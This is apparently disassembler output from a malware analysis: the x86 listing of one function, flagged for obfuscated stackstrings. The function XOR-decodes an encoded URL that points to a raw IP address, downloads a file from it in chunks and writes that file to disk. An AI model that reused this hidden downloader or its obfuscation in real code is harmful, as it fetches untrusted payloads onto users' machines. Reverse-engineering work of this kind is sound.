Function at 0x402240
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x47c
mov eax, dword [0x407040]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 1
push str.Hihi
mov eax, dword [0x407794]
mov edx, dword [eax]
mov ecx, dword [0x407794]
mov eax, dword [edx + 0x3c]
call eax
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 0
jne 0x402288
xor al, al
jmp 0x4025aa
mov byte [ebp - 0x47c], 0x34
mov byte [ebp - 0x47b], 0x1d
mov byte [ebp - 0x47a], 7
mov byte [ebp - 0x479], 0x65
mov byte [ebp - 0x478], 0x36
mov byte [ebp - 0x477], 0x11
mov byte [ebp - 0x476], 0x3a
mov byte [ebp - 0x475], 0x23
mov byte [ebp - 0x474], 0x19
mov byte [ebp - 0x473], 0x2f
mov byte [ebp - 0x472], 0x10
mov byte [ebp - 0x471], 0x66
mov byte [ebp - 0x470], 0x18
mov byte [ebp - 0x46f], 0x3c
mov byte [ebp - 0x46e], 0x61
mov byte [ebp - 0x46d], 0x2c
mov byte [ebp - 0x46c], 0x1b
mov byte [ebp - 0x46b], 0x11
mov byte [ebp - 0x46a], 0
mov byte [ebp - 0x469], 0x20
mov byte [ebp - 0x468], 0x1b
mov byte [ebp - 0x467], 0x3c
mov byte [ebp - 0x466], 0x61
mov byte [ebp - 0x465], 0x2d
mov byte [ebp - 0x464], 0x1a
mov byte [ebp - 0x463], 0x11
mov byte [ebp - 0x462], 0x3e
mov byte [ebp - 0x461], 0x63
mov byte [ebp - 0x460], 0x1b
mov byte [ebp - 0x45f], 0x11
mov byte [ebp - 0x45e], 4
mov byte [ebp - 0x45d], 0x65
mov byte [ebp - 0x45c], 0x1b
mov byte [ebp - 0x45b], 0x16
mov byte [ebp - 0x45a], 0x6c
mov byte [ebp - 0x459], 0x65
mov byte [ebp - 0x458], 0xf
mov byte [ebp - 0x457], 0xd
mov byte [ebp - 0x456], 0x1b
mov byte [ebp - 0x455], 0x65
mov byte [ebp - 0x454], 0x19
mov byte [ebp - 0x453], 0x3b
mov byte [ebp - 0x452], 7
mov byte [ebp - 0x451], 0x61
mov byte [ebp - 0x450], 0x31
mov byte [ebp - 0x44f], 0x14
mov byte [ebp - 0x44e], 0x68
mov byte [ebp - 0x44d], 0x68
mov dword [ebp - 0x444], 0
jmp 0x4023f3
mov ecx, dword [ebp - 0x444]
add ecx, 1
mov dword [ebp - 0x444], ecx
cmp dword [ebp - 0x444], 0x30
jge 0x402419
mov edx, dword [ebp - 0x444]
movzx eax, byte [ebp + edx - 0x47c]
xor eax, 0x55
mov ecx, dword [ebp - 0x444]
mov byte [ebp + ecx - 0x34], al
jmp 0x4023e4
push 0
push 0x80000000
push 0
push 0
lea edx, [ebp - 0x43c]
push edx
lea eax, [ebp - 0x34]
push eax
call fcn.00402fe0
add esp, 8
push eax
mov ecx, dword [ebp - 0x448]
push ecx
mov edx, dword [0x407794]
mov eax, dword [edx]
mov ecx, dword [0x407794]
mov edx, dword [eax + 0x40]
call edx
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 0
jne 0x402482
mov eax, dword [ebp - 0x448]
push eax
mov ecx, dword [0x407794]
mov edx, dword [ecx]
mov ecx, dword [0x407794]
mov eax, dword [edx + 0x44]
call eax
xor al, al
jmp 0x4025aa
lea ecx, [ebp - 0x43c]
push ecx
push 0x4052bc
call fcn.00402fe0
add esp, 8
push eax
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x440]
push eax
mov ecx, dword [0x407794]
mov edx, dword [ecx]
mov ecx, dword [0x407794]
mov eax, dword [edx + 0x54]
call eax
test eax, eax
je 0x4024f4
mov ecx, dword [ebp - 0x44c]
push ecx
mov edx, dword [0x407794]
mov eax, dword [edx]
mov ecx, dword [0x407794]
mov edx, dword [eax + 0x44]
call edx
mov eax, dword [ebp - 0x448]
push eax
mov ecx, dword [0x407794]
mov edx, dword [ecx]
mov ecx, dword [0x407794]
mov eax, dword [edx + 0x44]
call eax
xor al, al
jmp 0x4025aa
lea ecx, [ebp - 0x438]
push ecx
push 0x400
lea edx, [ebp - 0x434]
push edx
mov eax, dword [ebp - 0x44c]
push eax
mov ecx, dword [0x407794]
mov edx, dword [ecx]
mov ecx, dword [0x407794]
mov eax, dword [edx + 0x48]
call eax
test eax, eax
je 0x40255a
cmp dword [ebp - 0x438], 0
jbe 0x40255a
mov ecx, dword [ebp - 0x440]
push ecx
mov edx, dword [ebp - 0x438]
push edx
push 1
lea eax, [ebp - 0x434]
push eax
mov ecx, dword [0x407794]
mov edx, dword [ecx]
mov ecx, dword [0x407794]
mov eax, dword [edx + 0x50]
call eax
jmp 0x4024f4
mov ecx, dword [ebp - 0x440]
push ecx
mov edx, dword [0x407794]
mov eax, dword [edx]
mov ecx, dword [0x407794]
mov edx, dword [eax + 0x58]
call edx
mov eax, dword [ebp - 0x44c]
push eax
mov ecx, dword [0x407794]
mov edx, dword [ecx]
mov ecx, dword [0x407794]
mov eax, dword [edx + 0x44]
call eax
mov ecx, dword [ebp - 0x448]
push ecx
mov edx, dword [0x407794]
mov eax, dword [edx]
mov ecx, dword [0x407794]
mov edx, dword [eax + 0x44]
call edx
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403adb
mov esp, ebp
pop ebp
ret